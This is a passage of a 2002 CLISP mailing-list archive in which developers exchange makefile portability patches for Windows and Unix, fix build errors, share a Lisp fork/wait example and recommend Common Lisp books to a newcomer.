YXRhLnR4dCBjbGhzLnR4dCINCi1lY2hvbCAiZGF0YSA6Ig0KLWVjaG90YWIgImlmIHRlc3QgLWQg ZGF0YTsgdGhlbiBybSAtcmYgZGF0YTsgZmkiDQoraWYgWyAkSFNZUyAhPSB3aW4zMm1zdmMgXSA7 IHRoZW4NCisgIGVjaG9sICJkYXRhIDoiDQorICBlY2hvdGFiICJpZiB0ZXN0IC1kIGRhdGE7IHRo ZW4gcm0gLXJmIGRhdGE7IGZpIg0KK2Vsc2UNCisgIGVjaG9sICJkYXRhIDogJHtTUkNUT1BESVJf TX11dGlscyR7TkVYVF9NfXVuaWNvZGUke05FWFRfTX1mdHAudW5pY29kZS5vcmcke05FWFRfTX1V bmljb2RlRGF0YS50eHQgJHtTUkNUT1BESVJfTX1zcmMke05FWFRffWNsaHMudHh0Ig0KKyAgZWNo b3RhYiAiaWYgZXhpc3QgZGF0YSBybSAtcmYgZGF0YSINCitmaQ0KIGVjaG90YWIgIm1rZGlyIGRh dGEiDQotZWNob3RhYiAiY2QgZGF0YSAmJiBcJChMTl9TKSAke1BBUkVOVF9TUkNUT1BESVJ9dXRp bHMke05FWFR9dW5pY29kZSR7TkVYVH1mdHAudW5pY29kZS5vcmcke05FWFR9VW5pY29kZURhdGEu dHh0IFVuaWNvZGVEYXRhLnR4dCINCi1lY2hvdGFiICJjZCBkYXRhICYmIFwkKExOX1MpICR7UEFS RU5UX1NSQ1RPUERJUn1zcmMke05FWFR9Y2xocy50eHQgY2xocy50eHQiDQorZWNob3RhYiAiXCQo TE5fUykgJHtTUkNUT1BESVJfTX11dGlscyR7TkVYVF99dW5pY29kZSR7TkVYVF99ZnRwLnVuaWNv ZGUub3JnJHtORVhUX31Vbmljb2RlRGF0YS50eHQgZGF0YSR7TkVYVF99VW5pY29kZURhdGEudHh0 Ig0KK2VjaG90YWIgIlwkKExOX1MpICR7U1JDVE9QRElSX019c3JjJHtORVhUX31jbGhzLnR4dCBk YXRhJHtORVhUX31jbGhzLnR4dCINCiBlY2hvbA0KIA0KIGVjaG9sICJsaXNwJHtMRVhFfSA6IFwk KE9CSkVDVFMpIG1vZHVsZXMke1RPQkp9ICR7WENMX0ZGSUxJQlN9ICR7WENMX1JFQURMSU5FTElC fSAke1hDTF9HRVRURVhUTElCfSAke1hDTF9URVJNQ0FQTElCfSAke1hDTF9JQ09OVkxJQn0gJHtY Q0xfU0lHU0VHVkxJQn0ke1NZU0xJQlN9IGRhdGEiDQo= ------------6CF119F19680A5F-- From samuel.steingold@verizon.net Sat Mar 02 11:42:19 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hFOc-0004WU-00 for ; Sat, 02 Mar 2002 11:42:18 -0800 Received: from gnu.org ([151.203.224.254]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020302194216.OKTW22012.out020.verizon.net@gnu.org>; Sat, 2 Mar 2002 13:42:16 -0600 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[4]: [clisp-list] next release References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> <19224769176.20020301161857@ich.dvo.ru> <56483214.20020303015536@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <56483214.20020303015536@ich.dvo.ru> Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 11:43:17 2002 X-Original-Date: 02 Mar 2002 14:37:52 -0500 Hi Arseny, > * In message <56483214.20020303015536@ich.dvo.ru> > * On the subject of "Re[4]: [clisp-list] next release" > * Sent on Sun, 3 Mar 2002 01:55:36 +1000 > * Honorable Arseny Slobodjuck writes: > > I suggest that patch. The new data : section of makefile > was totally unixoid and didn't work in win32. > -echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}utils${NEXT}unicode${NEXT}ftp.unicode.org${NEXT}UnicodeData.txt UnicodeData.txt" > -echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}src${NEXT}clhs.txt clhs.txt" > +echotab "\$(LN_S) ${SRCTOPDIR_M}utils${NEXT_}unicode${NEXT_}ftp.unicode.org${NEXT_}UnicodeData.txt data${NEXT_}UnicodeData.txt" > +echotab "\$(LN_S) ${SRCTOPDIR_M}src${NEXT_}clhs.txt data${NEXT_}clhs.txt" this is broken when LN_S is "ln -s". please try the appended patch -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Oh Lord, give me the source code of the Universe and a good debugger! --- makemake.in.~1.225.~ Tue Feb 26 13:35:49 2002 +++ makemake.in Sat Mar 2 14:35:48 2002 @@ -2677,7 +2677,7 @@ DATA_FILES="UnicodeData.txt clhs.txt" echol "data :" -echotab "if test -d data; then rm -rf data; fi" +echotab "rm -rf data" echotab "mkdir data" echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}utils${NEXT}unicode${NEXT}ftp.unicode.org${NEXT}UnicodeData.txt UnicodeData.txt" echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}src${NEXT}clhs.txt clhs.txt" From samuel.steingold@verizon.net Sat Mar 02 12:05:44 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hFlG-0002Wu-00 for ; Sat, 02 Mar 2002 12:05:42 -0800 Received: from gnu.org ([151.203.224.254]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020302200503.BHJN18285.out006.verizon.net@gnu.org>; Sat, 2 Mar 2002 14:05:03 -0600 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[4]: [clisp-list] next release References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> <19224769176.20020301161857@ich.dvo.ru> <14411545751.20020302211317@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <14411545751.20020302211317@ich.dvo.ru> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 12:19:33 2002 X-Original-Date: 02 Mar 2002 15:01:19 -0500 > * In message <14411545751.20020302211317@ich.dvo.ru> > * On the subject of "Re[4]: [clisp-list] next release" > * Sent on Sat, 2 Mar 2002 21:13:17 +1000 > * Honorable Arseny Slobodjuck writes: > > It compiles fine except file spvw_language.d which needs declaration > of uint. It seems to be declared in intparam.d -> intparam.h, which > is not available in win32 (I think). So I suggest change uint to uintL > - see patch. that was actually a typo. thanks. > *** - There is no package with name "NIL" fixed -- thanks! please try again. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! MS DOS: Keyboard not found. Press F1 to continue. From samuel.steingold@verizon.net Sat Mar 02 12:40:22 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hGIn-0002fI-00 for ; Sat, 02 Mar 2002 12:40:21 -0800 Received: from gnu.org ([151.203.224.254]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020302204019.WSOB28131.out016.verizon.net@gnu.org>; Sat, 2 Mar 2002 14:40:19 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Relatively new to Clisp References: <1014854608.32240.95.camel@zeus> <20020228084617.A134@localhost.localdomain> <20020301080257.A204@localhost.localdomain> <20020302083558.A4692@localhost.localdomain> <20020302132845.A2993@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020302132845.A2993@localhost.localdomain> Message-ID: Lines: 42 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 12:45:12 2002 X-Original-Date: 02 Mar 2002 15:35:58 -0500 > * In message <20020302132845.A2993@localhost.localdomain> > * On the subject of "Re: [clisp-list] Relatively new to Clisp" > * Sent on Sat, 2 Mar 2002 13:28:45 +0100 > * Honorable Peter Wood writes: > > There is not actually much to the W* macros. So I'm not sure its > worth adding them to linux.lisp. I did anyway. (defun mesg (&rest fmt-args) (format t "~&[~d] " (linux:getpid)) (apply #'format t fmt-args)) (defun test-wait2 () (let ((pid (linux:fork))) (cond ((= pid -1) (error "fork failed")) ((/= pid 0) (mesg "Started child ~d~%" pid) (multiple-value-bind (childpid status) (linux:wait) (mesg "Child ~d has finished~%" childpid) (if (zerop (logand status #x7f)) (mesg "with exit code=~a~%" (linux:WEXITSTATUS status)) (mesg "Child bombed ~d / ~d~%" (linux:WTERMSIG status) (linux:WEXITSTATUS status))))) (t (sleep 1) ; let dad go first (mesg "Hello, Pop (~d), I am ~d~%" (linux:getppid) (linux:getpid)) (linux:exit 37))))) (test-wait2) [17857] Started child 17858 [17858] Hello, Pop (17857), I am 17858 [17857] Child 17858 has finished [17857] with exit code=37 thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! If Perl is the solution, you're solving the wrong problem. - Erik Naggum From samuel.steingold@verizon.net Sat Mar 02 12:51:00 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hGT5-0005uF-00 for ; Sat, 02 Mar 2002 12:50:59 -0800 Received: from gnu.org ([151.203.224.254]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020302205058.VJJB26730.out012.verizon.net@gnu.org>; Sat, 2 Mar 2002 14:50:58 -0600 To: "lovely Kitten" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can I ask??plz References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 12:51:49 2002 X-Original-Date: 02 Mar 2002 15:46:32 -0500 > * In message > * On the subject of "[clisp-list] Can I ask??plz" > * Sent on Sat, 02 Mar 2002 15:22:36 +0000 > * Honorable "lovely Kitten" writes: > > 1-link for free Clisp download. > 2-link for good site about Clisp syntax. > 3-Is there a big difference between Lisp and Clisp syntax?? CLISP is an implementation of ANSI Common Lisp (ANSI CL for short). See for the CLHS (the on-line non-authoritative version of the standard). Get Paul Graham's "ANSI Common Lisp" book. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! OK, so you're a Ph.D. Just don't touch anything. From klaus_momberger@yahoo.com Sat Mar 02 13:11:11 2002 Received: from web14603.mail.yahoo.com ([216.136.224.83]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hGmb-0004ek-00 for ; Sat, 02 Mar 2002 13:11:09 -0800 Message-ID: <20020302211105.52015.qmail@web14603.mail.yahoo.com> Received: from [212.172.8.144] by web14603.mail.yahoo.com via HTTP; Sat, 02 Mar 2002 13:11:05 PST From: Klaus Momberger Subject: Re: [clisp-list] Can I ask??plz To: sds@gnu.org, lovely Kitten Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 13:12:02 2002 X-Original-Date: Sat, 2 Mar 2002 13:11:05 -0800 (PST) --- Sam Steingold wrote: > > * In message > > > * On the subject of "[clisp-list] Can I ask??plz" > > * Sent on Sat, 02 Mar 2002 15:22:36 +0000 > > * Honorable "lovely Kitten" > writes: > > > > 1-link for free Clisp download. > > > > > > 2-link for good site about Clisp syntax. > > 3-Is there a big difference between Lisp and Clisp > syntax?? > > CLISP is an implementation of ANSI Common Lisp (ANSI > CL for short). > See for > the CLHS (the > on-line non-authoritative version of the standard). > > Get Paul Graham's "ANSI Common Lisp" book. > I found "Object Oriented Common Lisp" by Stephen Slade more useful as a tutorial. Sam, is there anything terribly wrong with it ? -Klaus. __________________________________________________ Do You Yahoo!? Yahoo! Sports - sign up for Fantasy Baseball http://sports.yahoo.com From samuel.steingold@verizon.net Sat Mar 02 14:24:47 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hHvr-0006wM-00 for ; Sat, 02 Mar 2002 14:24:47 -0800 Received: from gnu.org ([151.203.224.254]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020302222408.BSAN18285.out006.verizon.net@gnu.org>; Sat, 2 Mar 2002 16:24:08 -0600 To: Klaus Momberger Cc: lovely Kitten , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can I ask??plz References: <20020302211105.52015.qmail@web14603.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020302211105.52015.qmail@web14603.mail.yahoo.com> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 14:25:12 2002 X-Original-Date: 02 Mar 2002 17:20:22 -0500 > * In message <20020302211105.52015.qmail@web14603.mail.yahoo.com> > * On the subject of "Re: [clisp-list] Can I ask??plz" > * Sent on Sat, 2 Mar 2002 13:11:05 -0800 (PST) > * Honorable Klaus Momberger writes: > > > Get Paul Graham's "ANSI Common Lisp" book. > > > I found "Object Oriented Common Lisp" by Stephen Slade more useful as > a tutorial. Sam, is there anything terribly wrong with it ? I have never seen the book. I have never heard anything bad about it. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Never underestimate the power of stupid people in large groups. From samuel.steingold@verizon.net Sat Mar 02 15:39:27 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hJ61-0005wX-00 for ; Sat, 02 Mar 2002 15:39:21 -0800 Received: from gnu.org ([151.203.224.254]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020302233920.OLLG9330.out011.verizon.net@gnu.org>; Sat, 2 Mar 2002 17:39:20 -0600 To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 15:40:04 2002 X-Original-Date: 02 Mar 2002 18:34:57 -0500 > * In message > * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems" > * Sent on 02 Mar 2002 00:37:59 -0500 > * Honorable Todd Sabin writes: > > Current CVS is failing for me on Redhat62, due to an ICONV_CONST > mismatch. I think I've figured out the problem. unixconf.h.in > has a line: > > #define ICONV_CONST I _think_ I just fixed this, hopefully forever. Please _do_ test it on all your platforms. And I do not mean just you, Todd. Everyone who has been saying "release early; release often" - please do "cvs up" and build CLISP on your platform. You have nothing to lose: if you succeed, you will have the next stable version of CLISP a couple of days before everyone else, if you fail and report your problem, the next CLISP version will work on your platform out of the box, so you will not have to wait until the next release. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Do not worry about which side your bread is buttered on: you eat BOTH sides. From ampy@ich.dvo.ru Sat Mar 02 16:41:42 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hK4E-0006Ap-00 for ; Sat, 02 Mar 2002 16:41:34 -0800 Received: (qmail 28204 invoked from network); 3 Mar 2002 00:41:19 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 3 Mar 2002 00:41:19 -0000 Received: from 192.168.0.116 [192.168.0.116] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Sun, 03 Mar 2002 10:40:06 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <972598656.20020303104043@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[6]: [clisp-list] next release In-reply-To: References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> <19224769176.20020301161857@ich.dvo.ru> <56483214.20020303015536@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 16:42:19 2002 X-Original-Date: Sun, 3 Mar 2002 10:40:43 +1000 Hello Sam, Sunday, March 03, 2002, 5:37:52 AM, you wrote: >> I suggest that patch. The new data : section of makefile >> was totally unixoid and didn't work in win32. >> -echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}utils${NEXT}unicode${NEXT}ftp.unicode.org${NEXT}UnicodeData.txt UnicodeData.txt" >> -echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}src${NEXT}clhs.txt clhs.txt" >> +echotab "\$(LN_S) ${SRCTOPDIR_M}utils${NEXT_}unicode${NEXT_}ftp.unicode.org${NEXT_}UnicodeData.txt data${NEXT_}UnicodeData.txt" >> +echotab "\$(LN_S) ${SRCTOPDIR_M}src${NEXT_}clhs.txt data${NEXT_}clhs.txt" Sam> this is broken when LN_S is "ln -s". Sam> please try the appended patch Sam> DATA_FILES="UnicodeData.txt clhs.txt" Sam> echol "data :" Sam>-echotab "if test -d data; then rm -rf data; fi" Sam>+echotab "rm -rf data" Then, maybe, "-rm -rf data" ? Sam> echotab "mkdir data" Sam> echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}utils${NEXT}unicode${NEXT}ftp.unicode.org${NEXT}UnicodeData.txt I tried a lot of ways. In win32 LN_S=copy , which doesn't understand forward slashes on NT (it counts it as option). Since we use sed and rm (I personally use set of GNU file utilities ported for NT, must have for developer) we can use LN_S=cp. Or we need ${PARENT_SRCTOPDIR_} in addition to ${PARENT_SRCTOPDIR}. But rm still remains. To remove it we need $(RMRF1)=del /q /s $(RMRF2)=rmdir /q /s on win32 and $(RMRF1)=rm -rf $(RMRF2)= on unix and use both it every time or something similar (bat file rmrf.bat for example). Brrr... Using rm is less painful. BTW, there is ln port, it even gets rid of NT hardlinks. It seems to me that Makefile was revised to remove use of such utilities for win32 since last year, is it ? Another problem is data dependency. VC nmake looks to data directory creation date and does nothing if it exists (but files in it may be obsolete). I don't know whether it is a big problem. clhs working now. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From tsabin@optonline.net Sat Mar 02 18:31:51 2002 Received: from ool-435185-147.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hLmw-0002qh-00 for ; Sat, 02 Mar 2002 18:31:50 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id VAA28334; Sat, 2 Mar 2002 21:31:43 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "Sat, 02 Mar 2002 18:34:57 -0500") Message-ID: Lines: 52 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 18:32:05 2002 X-Original-Date: 02 Mar 2002 21:31:43 -0500 Sam Steingold writes: > > Current CVS is failing for me on Redhat62, due to an ICONV_CONST > > mismatch. I think I've figured out the problem. unixconf.h.in > > has a line: > > > > #define ICONV_CONST > > I _think_ I just fixed this, hopefully forever. > Please _do_ test it on all your platforms. Works on Redhat 6.2 and 7.2. FreeBSD 4.5 builds to the point where it complains about the Makefile in suite, as mentioned in the last mail. Is that normal? I tried win32 with VS6 earlier today. Builds with a couple minor problems fixed. The first is that del fails on non-existant files, so --- ../win32msvc/makefile.msvc5 Mon Nov 19 14:38:15 2001 +++ makefile Sat Mar 2 16:40:50 2002 @@ -50,10 +50,10 @@ MSVCDIR = "C:/Program Files/Microsoft Visual Studio/VC98" MAKE = nmake -RM = del +RM = -del CP = copy LN_S = copy MV = ren The other is that the supplied install.bat is referencing src/install.lisp, but appears to want to be run from src itself, which doesn't work. RCS file: /cvsroot/clisp/clisp/src/install.bat,v retrieving revision 1.2 diff -u -b -r1.2 install.bat --- install.bat 9 Jun 2001 17:03:13 -0000 1.2 +++ install.bat 3 Mar 2002 02:11:53 -0000 @@ -6,6 +6,6 @@ echo press C-c to abort pause -lisp.exe -B . -M lispinit.mem -norc -C src/install.lisp +lisp.exe -B . -M lispinit.mem -norc -C install.lisp pause Todd From ampy@ich.dvo.ru Sat Mar 02 20:36:06 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hNj6-0001jo-00 for ; Sat, 02 Mar 2002 20:36:01 -0800 Received: (qmail 572 invoked from network); 3 Mar 2002 04:35:39 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 3 Mar 2002 04:35:39 -0000 Received: from 192.168.0.116 [192.168.0.116] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Sun, 03 Mar 2002 14:34:43 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <19316674046.20020303143519@ich.dvo.ru> To: Todd Sabin CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] REINITIALIZE-INSTANCE problems In-reply-To: References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 20:37:27 2002 X-Original-Date: Sun, 3 Mar 2002 14:35:19 +1000 Hello Todd, Sunday, March 03, 2002, 12:31:43 PM, you wrote: Todd> MAKE = nmake Todd> -RM = del Todd> +RM = -del Always in makemake.in, Makefile.msvc5 just needs to be recreated. Todd> The other is that the supplied install.bat is referencing Todd> src/install.lisp, but appears to want to be run from src itself, which Todd> doesn't work. install.bat intended to be called from distribution, where src/ and data/ (which also is in makefile.in) exists. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From samuel.steingold@verizon.net Sat Mar 02 21:53:08 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hOvk-0005Qt-00 for ; Sat, 02 Mar 2002 21:53:08 -0800 Received: from gnu.org ([151.203.224.254]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020303055306.PMFN9330.out011.verizon.net@gnu.org>; Sat, 2 Mar 2002 23:53:06 -0600 To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 21:54:02 2002 X-Original-Date: 03 Mar 2002 00:48:40 -0500 > * In message > * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems" > * Sent on 02 Mar 2002 21:31:43 -0500 > * Honorable Todd Sabin writes: > > FreeBSD 4.5 builds to the point where it complains about the Makefile > in suite, as mentioned in the last mail. Is that normal? I just fixed this. unfortunately this required removing the gnu-make-specific IF construct (is there a portable on across all make implementations? :-) this means that cygwin users will have to edit the Makefile to run the testsuite or specify the LISP make var on the command line. > I tried win32 with VS6 earlier today. Builds with a couple minor > problems fixed. The first is that del fails on non-existant files, > so > > --- ../win32msvc/makefile.msvc5 Mon Nov 19 14:38:15 2001 > +++ makefile Sat Mar 2 16:40:50 2002 > @@ -50,10 +50,10 @@ > MSVCDIR = "C:/Program Files/Microsoft Visual Studio/VC98" > > MAKE = nmake > -RM = del > +RM = -del > CP = copy > LN_S = copy > MV = ren please regenerate your makefile.msvc5 using make -f Makefile.devel win32msvc/makefile.msvc5 > The other is that the supplied install.bat is referencing > src/install.lisp, but appears to want to be run from src itself, which > doesn't work. you are missing the point. install.bat is for the users of the binary distributions. a binary distribution has lisp.exe and lispinit.mem at the top-level and install.lisp in the src subdirectory. you should use cygwin to create a binary distribution $ make distrib and then install it somewhere and 